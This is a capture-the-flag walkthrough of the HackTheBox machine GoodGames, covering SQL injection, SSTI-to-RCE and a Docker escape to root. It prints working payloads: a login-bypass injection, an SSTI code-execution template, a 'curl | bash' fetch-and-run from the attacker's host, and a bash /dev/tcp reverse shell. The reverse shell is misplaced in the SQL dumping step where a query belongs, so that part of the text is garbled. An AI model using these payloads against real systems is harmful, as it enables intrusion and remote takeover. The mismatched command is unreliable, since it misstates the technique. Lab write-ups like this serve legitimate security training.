Date: 09/06/2022

Difficulty: Easy

CTF: https://app.hackthebox.com/machines/GoodGames


Enumeration

Let’s start with a ping to see if we have connection with the machine:

Untitled

The ttl=63 indicates us that the target is probably a Linux machine.

Let’s scan all the TCP ports to see which ones are open:

Untitled

Nmap discovered a single open TCP port, the 80 (http). Let’s see if we can obtain more info of this service:

Untitled

We got interesting information. First of all, the version of the Apache (2.4.51). Also, the header may indicate that the server is running Werkzeug (2.0.2) and Python (3.9.2) sometimes it is vulnerable to Server Side Template Injection (SSTI). And the Service Info is telling us the domain being used: goodgames.htm. Maybe the server is applying Virtual Hosting, so we should add this domain to etc/hosts file.

Untitled

Let’s use whatweb to try to obtain more info of the website hosted in the http service:

Untitled

Nothing new, let’s see how the page looks:

Untitled

I appreciate no difference between the website accessed via IP or domain, so I’m going to use the domain.

Let’s hear what Wappalizer has to say:

Untitled

The server is using Flask (2.0.2) and jQuery (3.3.1) According to this page this version of jQuery is vulnerable to XSS injection and prototype pollution. But I haven’t found a valid input to insert the XSS payload…

Let’s take a look to the web content:

The main page has post previews, news previews, image previews…

Untitled

There is a directory called static with a subdirectory called images.

Let’s try to visit goodgames.htb/static/images and goodgames.htb/static

Untitled
Untitled

There is no directory listing.

Let’s see the Blog:

Untitled

There are 14 pages of blog entries but only the first one works. The author of each post appears, so they may be valid users.

And the store link redirect us here:

Untitled

There is also login form in the main page:

Untitled

Let’s try to sign in

Untitled
Untitled

And, let’s log in:

Untitled

There is nothing I can do in this panel but changing my password…

Untitled

And, if I try it, it breaks. Let’s intercept the petition using Burpsuite:

Untitled

Nothing interesting I think.

Going back to the main page, I don’t really know if I was able to access to this post before login in, but now I have access:

Untitled
Untitled

And I can leave a reply! Let’s try some XSS!

Untitled

Mmm… The server doesn’t allow me to post normal messages and it drops a server internal error.

With nothing in mind, let’s try to enumerate web directories:

First of all, let’s see if there is any other blog entry:

Untitled

Nope

OK, let’s go back to the login page. Let’s see if it’s vulnerable to SQLi

Untitled

Apparently it requires a valid email address… Let’s insert a valid email address here and intercept the petition with Burpsuite to try to manipulate the data sent:

Untitled

Let’s substitute the email input for admin' OR 1=1-- -

Untitled

And url-encode it:

Untitled

Let’s forward the petition…

Untitled

And done! we bypassed the login… Let’s try to see if we can enumerate the database. First of all, let’s intercept the login petition again and send it to the repeater:

Untitled

Now, let’s try to guess the number of columns of the users table using UNION SELECT

Untitled

The table has 4 columns, and the welcome message is printing the 4th one.

Let’s now discover the name of the database using database()

Untitled

The database’s name is main

Let’s gather the list of tables of the database using group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'main'

Untitled

The tables are blog, blog_comments and user

Let’s see the columns of user table using: group_concat(column_name) FROM information_schema.columns WHERE table_name = 'user'

Untitled

The columns of the user table are called id, email, password and name

Let’s enumerate it all using: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Untitled

There is only one entry: admin@goodgames.htb : 2b22337f218b2d82dfc3b6f77e7cb8ec

It looks like a hashed password.

Untitled

Probably MD5. Let’s try to use rainbow tables to crack it, if it’s not in rainbow tables maybe we can try to crack it using John.

Untitled

That’s a weak password hahaha. Let’s anotate it, I’m sure I’ll need it soon.

Let’s try to log to the website again, but now with the obtained credentials:

Untitled
Untitled

So, now we are logged as an administrator.

Untitled

This button was not there before… let’s check it.

Untitled

It redirected us to a subdomain that I had to include in the /etc/hosts file. It shows up a login page. Let’s try to use the same credentials we used to log in as the admin user before:

Untitled

Aaaand we are in… It has 3 tabs, but this one is interesting, as is the only one that seems to allows us to modify anything:

Untitled
Untitled
Untitled

Let’s remember that this site uses flask… Maybe it is vulnerable to STTI?

Untitled

Yeah! It is. Let’s try to read the /ect/passwd file using this SSTI payload {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Untitled

So… we can convert SSTI to RCE using this payload: {{config.__class__.__init__.__globals__['os'].popen('<your code>').read()}}

Let’s try to deploy a Rev Shell using this! As we know that the target system uses python, let’s try to execute a python script. To make it easier, I have created a file in my computer called pwn and shared it via http.server:

Untitled

If we execute the command curl 10.10.14.234/pwn | bash in the target machine, it should read the pwn file and send it to the bash to interpret it and establish a connection with my machine. Let’s see if it works:

{{config.__class__.__init__.__globals__['os'].popen('curl 10.10.14.234/pwn | bash').read()}}

Untitled

Yeah! We got a Reverse Shell!

Untitled

Uh… Dockerfile… Let’s check the IP to see if we are inside the target machine or inside a container…

Untitled

Bad news, we are inside a container. Let’s see what we have here anyway.

Untitled
Untitled
Untitled

Mmm… it looks like it is running a postgresql database in localhost:5432 and the credentials are appseed:pass

Untitled

Here we have an sqlite3 database file, interesting. Let’s check if there is anything in the home folder:

Untitled

Yep, there is the user flag!

Ok, now we have to think how to escape the docker environment and jump to the target machine.

Docker breakout

If we take a look to the permissions of the files inside augustus folder…

Untitled

We can see that there are files that belong to “1000”. It may indicate that the user’s home directory is mounted inside the docker container… let’s check it with mount

Untitled

We have seen before that our IP Address was 172.19.0.2 , as Docker usually assigns the first address available of the subnet, the host might be on 172.19.0.1

Untitled

I send a ping either to 172.19.0.3 and 172.19.0.1. First one did nothing, but the second one was received, so there is something in that IP that we should scan.

Untitled

The machine has no nmap installed, so we can do the scan with bash:

for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done

Untitled

Port 22 is open and port 80 is open too. Port 22 is SSH so let’s try to connect using the credentials we have:

Untitled

admin didn’t work. How about augustus?

Untitled

Yeah, it worked!

Privilege Escalation

Let’s see how to escalate privileges:

Untitled

No sudoers, not interesting SUIDs

Untitled

Nothing on crontab

Untitled

No capabilities… Out of ideas I’m going to enumerate with LinPeas

Ok, Nothing useful in LinPeas…

How about copying /bin/bash in the home folder of august, exiting the ssh, changing the SUID and log into the target machine again via SSH to run bash as administrator? Let’s try it.

First of all, lets copy /bin/bash in the home folder:

Untitled

Now, let’s exit the ssh and change the owner of the file and make it SUID:

Untitled

Now, let’s login as augustus via ssh again:

Untitled

And execute the bash binary with owner perms:

Untitled
Untitled

Done!